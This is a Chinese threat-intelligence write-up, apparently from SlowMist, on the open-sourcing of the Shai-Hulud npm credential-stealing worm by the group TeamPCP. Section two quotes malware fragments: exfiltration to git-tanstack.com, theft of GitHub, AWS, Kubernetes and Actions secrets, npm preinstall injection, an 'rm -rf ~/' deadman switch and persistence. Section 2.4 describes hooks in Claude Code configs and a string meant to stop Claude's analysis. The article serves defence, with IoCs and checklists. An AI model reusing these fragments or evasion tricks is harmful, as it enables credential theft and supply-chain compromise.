Shai-Hulud 是一种针对开源软件供应链的重大网络安全威胁,是一种具有自我传播能力的 npm 恶意蠕虫病毒,会感染开源生态系统。它被认为是 npm 近年来最大规模的供应链攻击之一,涉及数百个恶意包,SlowMist MistEye 威胁情报系统已多次预警。

昨日,一个名为 TeamPCP 的威胁组织做出了令安全界震惊的举动:他们将自己开发的凭证窃取恶意软件 Shai-Hulud 的完整源代码发布到了 GitHub 上。
这不是一次误操作,而是一场精心策划的"能力扩散"行动。 一、事件背景 1.1 什么是 Shai-Hulud? Shai-Hulud 是一款专门针对 GitHub Actions CI/CD 环境的凭证窃取工具。其名字来源于科幻小说《沙丘》中的巨型沙虫,暗示其强大的"吞噬"能力,吞噬一切它能接触到的敏感凭证。 1.2 发生了什么? TeamPCP 做了三件事: 开源代码:将完整源码发布到 GitHub 使用被入侵账号:通过被黑的 GitHub 账号传播 提供部署手册:附带完整使用说明 目前已有多个活跃仓库,且数量还在增长。攻击者甚至在仓库标题中直接写道: A Gift From TeamPCP(TeamPCP 的礼物) 极具嘲讽意味。 二、技术架构深度解析 2.1 四层攻击架构 Shai-Hulud 攻击架构 具体代码实现: 1. 启动入口与主外传目标 文件: `Shai-Hulud-Open-Source-main/package.json:11`,`Shai-Hulud-Open-Source-main/src/index.ts:96-98` 说明:确认项目默认启动即进入恶意主逻辑,并指向硬编码外传域。

"start": "bun run ./src/index.ts"const dest: SenderDestination = {domain: scramble("git-tanstack.com"),port: 443,path: scramble("router"),};
2. 本地与云端敏感面采集
文件:
`Shai-Hulud-Open-Source-main/src/index.ts:35-37,137-141`,`src/providers/devtool/devtool.ts:19`,`src/providers/aws/credentials.ts:199,249`,`src/providers/kubernetes/kubernetes.ts:58,138`
说明:确认样本同时面向本地文件、GitHub CLI、AWS IMDS/IRSA、Kubernetes token 与 API secrets。
quickResults.push(await localProvider.execute());quickResults.push(await shellProvider.execute());quickResults.push(await runnerProvider.execute());
const token = execSync(scramble("gh auth token"), {const IMDS = "http://169.254.169.254";const tokenFile = process.env[scramble("AWS_WEB_IDENTITY_TOKEN_FILE")];
"/var/run/secrets/kubernetes.io/serviceaccount/token",Authorization: `Bearer ${token}`,
3. 加密外传封装与 POST
文件:
`Shai-Hulud-Open-Source-main/src/sender/base.ts:48,57`,`src/sender/domain/sender.ts:70`
说明:确认结果会被加密后发送到远端,而非仅本地收集。
const encryptedKey = crypto.publicEncrypt(const cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv);body: JSON.stringify(envelope),4. npm 供应链植入
文件:
`Shai-Hulud-Open-Source-main/src/collector/collector.ts:39,61`,`src/mutator/npm/index.ts:68`,`src/mutator/npmoidc/index.ts:37,172-178`,`src/utils/config.ts:7`
说明:确认一旦捕获 token,样本会直接实施改包、注入与发布。
if (result.matches?.["npmtoken"]) {const npmIntegration = new NpmClient(npmCheck);pkg.scripts.preinstall = scramble("node setup.mjs");pkg.optionalDependencies["@opensearch/setup"] = PACKAGE_NAME;const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } = process.env;`${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`
"github:opensearch-project/opensearch-js#d446803f4c3bc116263faa3499a1d3f95b2825de",5. GitHub Actions secrets 导出
文件:
`Shai-Hulud-Open-Source-main/src/providers/actions/workflow.ts:11`,`src/assets/workflow.yml:9,13`
说明:确认其通过伪装 workflow 将 secrets 序列化到 artifact 中再取回。
const BRANCH_NAME = scramble("dependabot/github_actions/format/setup-formatter",);
VARIABLE_STORE: ${{ toJSON(secrets) }}run: echo "$VARIABLE_STORE" > format-results.txt
6. GitHub fallback 外传与本地持久化
文件:
`Shai-Hulud-Open-Source-main/src/sender/github/githubSender.ts:58,89,157`,`src/assets/DEADMAN_SWITCH.sh:48-49,96`
说明:确认 fallback sender 会提交外传结果,并安装 token 监控持久化脚本。
await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));? `${SEARCH_STRING}:${envelope.token}`HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \\-H "Authorization: Bearer ${GITHUB_TOKEN}" \\
launchctl bootstrap "gui/$(id -u)" "${PLIST_PATH}"7. 去混淆视图确认安装期载荷
文件:
`Shai-Hulud-Open-Source-main/src/assets/config.mjs:171-186`(基于去混淆视图)
说明:去混淆结果清楚表明 `setup.mjs` 会下载 Bun 运行时并执行 `ai_init.js`,有助于确认安装期执行链。
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;await dl(u, zp);execFileSync(bp, [ep], {stdio: "inherit",cwd: D});
2.2 凭证窃取范围
这是迄今为止针对开发者环境最全面的凭证收集工具之一: 2.3 Token 识别能力 恶意软件内置了强大的正则表达式引擎:
// GitHub Personal Access Tokenghtoken: /gh[op]_[A-Za-z0-9]{36}/g// npm Tokennpmtoken: /npm_[A-Za-z0-9]{36,}/g// GitHub App JWTghs_jwt: /ghs_\\d+_[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+/g
2.4 针对 Claude Code 的攻击
这是本案的亮点之一。恶意软件专门针对 Claude Code 进行了优化: - 修改 Claude 配置文件:`~/.claude.json`、`~/.claude/mcp.json` - 注入执行钩子:当 Claude 启动时自动执行恶意代码 - "Anthropic Magic String":使用特殊字符串阻止 Claude 分析
// 发现的目标文件"~/.claude.json""~/.claude/mcp.json"".kiro/settings/mcp.json"
为什么针对 Claude Code?因为 Claude Code 常常运行在拥有高权限 GitHub Token 的开发者机器上。
三、开发者画像 3.1 代码质量评估 结论:这是一个专业级恶意软件,开发者具备企业级软件开发能力。 3.2 开发者地域分析 代码中有一处非常有趣的逻辑:
// src/utils/config.tsexport function isSystemRussian(): boolean {const locale = Intl.DateTimeFormat().resolvedOptions().locale;if (locale.startsWith("ru")) return true; // 排除俄语系统// ...}
排除俄语系统的可能原因:

SlowMist Agent 思考:特意排除俄语系统,最合理的解释是开发者本身与俄语地区有密切联系。 3.3 C2 服务器分析 C2 域名:git-tanstack.com 模仿合法域名:tanstack.com 路径: /router 这是典型的域名仿冒攻击手法,目的是让恶意流量看起来像合法的 TanStack 项目。 四、追踪分析:TeamPCP 4.1 行动痕迹 我们发现以下有趣的线索: 4.2 关联账号 三个可疑账号被发现与 Shai-Hulud 代码相关: 猫是 TeamPCP 的标志 —— agwagwagwa 的 "meow!" 仓库让安全研究员确信这不是巧合。 4.3 "Anthropic Magic String" 恶意软件中包含一段特殊字符串,专门用来阻止 Claude Code 分析:

// 发现于多个配置文件中// 包含这段字符串的账号资料不会被 Claude 分析
这进一步证实了攻击者对 AI 安全工具的了解。
五、开源的影响:潘多拉魔盒已打开 5.1 从"专属武器"到"公共服务" TeamPCP 的这次开源,意味着: 从前:只有 TeamPCP 能发动 Shai-Hulud 攻击 现在:任何人都可以部署自己的 Shai-Hulud 变种 5.2 copycat 已经开始行动 我们的情报显示,fork 者已经开始修改代码并扩大攻击范围: - agwagwagwa 已提交 PR 添加 FreeBSD 支持 - 更多仓库正在出现 - 可以通过 GitHub 搜索 "A Gift From TeamPCP" 追踪 5.3 威胁等级升级 六、IoC 指标汇总 类型 IOC C2 域名 git-tanstack.com C2 路径 /router 脚本名 opensearch_init.js、ai_init.js 包名 voicefromtheouterworld GitHub 搜索 "A Gift From TeamPCP" 可疑账号 agwagwagwa、headdirt、tmechen 七、防护建议 7.1 对开发者 建议 操作 检查 SSH 私钥 确认 ~/.ssh/id_* 没有被泄露 轮换 GitHub Token 立即更换所有 GitHub PAT 审查 GitHub Actions 检查是否有可疑的 workflow 审计 CI 环境 查看是否有陌生 secrets 检查 Claude 配置 查看 ~/.claude.json 是否被篡改 7.3 快速检查清单
7.2 对企业
# 检查 GitHub Actions 中是否有可疑 workflowcat ~/.git-credentials# 检查 SSH 私钥访问记录ls -la ~/.ssh/# 检查 Claude 配置cat ~/.claude.jsoncat ~/.claude/mcp.json# 检查 AWS 凭证cat ~/.aws/credentials
八、总结
Shai-Hulud 开源事件是 2026 年最重要的网络安全事件之一: 要点 说明 性质 专业级凭证窃取工具,针对 CI/CD 环境 开发者 具备高水平能力,使用多个伪装身份,可能与俄语地区有关 影响 从"专属武器"变成"公共服务",任何人可部署 时间 2025-2026 年开发,极新威胁 追踪 TeamPCP 组织,猫主题,多个关联账号 本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI驱动分析编写,有任何问题欢迎咨询反馈。 参考资料 [1] https://github.com/search?q=A+Gift+From+TeamPCP&type=repositories&s=updated&o=desc
核心警示:开源恶意软件 = 潘多拉魔盒已打开;从小团伙到群狼的时代来了,攻击者已经在行动,你准备好了吗?
声明:本文来自慢雾科技,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。